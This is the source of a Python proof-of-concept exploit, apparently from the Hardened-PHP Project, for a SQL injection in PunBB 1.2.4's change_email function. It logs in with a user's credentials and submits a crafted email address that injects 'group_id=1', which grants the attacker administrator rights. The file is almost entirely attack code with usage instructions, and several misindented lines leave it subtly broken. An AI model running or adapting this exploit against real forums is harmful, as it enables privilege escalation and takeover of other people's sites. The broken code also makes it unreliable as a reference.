Exploit.Python.PunBB.a - Source Code

#!/usr/bin/python
#######################################################################
#  _  _                _                     _       ___  _  _  ___
# | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \
# | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/
# |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|
#
#######################################################################
#         Proof of concept code from the Hardened-PHP Project
#######################################################################
#
#                           -= PunBB 1.2.4 =-
#                   change_email SQL injection exploit
#
#  user-supplied data within the database is still user-supplied data
#
#######################################################################

import urllib
import getopt
import sys
import string

__argv__ = sys.argv

def banner():
    print "PunBB 1.2.4 - change_email SQL injection exploit"
    print "Copyright (C) 2005 Hardened-PHP Project\n"

def usage():
    banner()
    print "Usage:\n"
    print "   $ ./punbb_change_email.py [options]\n"
    print "        -h http_url   url of the punBB forum to exploit"
    print "                      f.e. http://www.forum.net/punBB/"
    print "        -u username   punBB forum useraccount"
    print "        -p password   punBB forum userpassword"
    print "        -e email      email address where the admin leve activation email is sent"
    print "        -d domain     catch all domain to catch \"some-SQL-Query\"@domain emails"
    print ""
    sys.exit(-1)

def main():
    try:
        opts, args = getopt.getopt(sys.argv[1:], "h:u:p:e:d:")
    except getopt.GetoptError:
        usage()

    if len(__argv__) < 10:
        usage()

    username = None
    password = None
    email = None
    domain = None
    host = None
    for o, arg in opts:
        if o == "-h":
        host = arg
        if o == "-u":
            username = arg
        if o == "-p":
            password = arg
        if o == "-e":
            email = arg
        if o == "-d":
            domain = arg

    # Printout banner
    banner()

    # Check if everything we need is there
    if host == None:
        print "[-] need a host to connect to"
    sys.exit(-1)
    if username == None:
        print "[-] username needed to continue"
        sys.exit(-1)
    if password == None:
        print "[-] password needed to continue"
        sys.exit(-1)
    if email == None:
        print "[-] email address needed to continue"
        sys.exit(-1)
    if domain == None:
        print "[-] catch all domain needed to continue"
    sys.exit(-1)

    # Retrive cookie
    params = {
        'req_username' : username,
    'req_password' : password,
    'form_sent' : 1
    }

    wclient = urllib.URLopener()

    print "[+] Connecting to retrieve cookie"

    req = wclient.open(host + "/login.php?action=in", urllib.urlencode(params))
    info = req.info()
    if 'set-cookie' not in info:
        print "[-] Unable to retrieve cookie... something is wrong"
        sys.exit(-3)
    cookie = info['set-cookie']
    cookie = cookie[:string.find(cookie, ';')]
    print "[+] Cookie found - extracting user_id"
    user_id = cookie[string.find(cookie, "%3A%22")+6:string.find(cookie, "%22%3B")]
    print "[+] User-ID: %d" % (int(user_id))
    wclient.addheader('Cookie', cookie);

    email = '"' + email[:string.find(email, '@')] + '"@' + email[string.find(email, '@')+1:] + ',"\','
    append = 'group_id=\'1'
    email = email + ( ((50-len(append))-len(email)) * ' ' ) + append + '"@' + domain

    params = {
        'req_new_email' : email,
    'form_sent' : 1
    }

    print "[+] Connecting to request change email"
    req = wclient.open(host + "profile.php?action=change_email&id=" + user_id, urllib.urlencode(params))

    print "[+] Done... Now wait for the email. Log into punBB, go to the link in the email and become admin"

if __name__ == "__main__":
    main()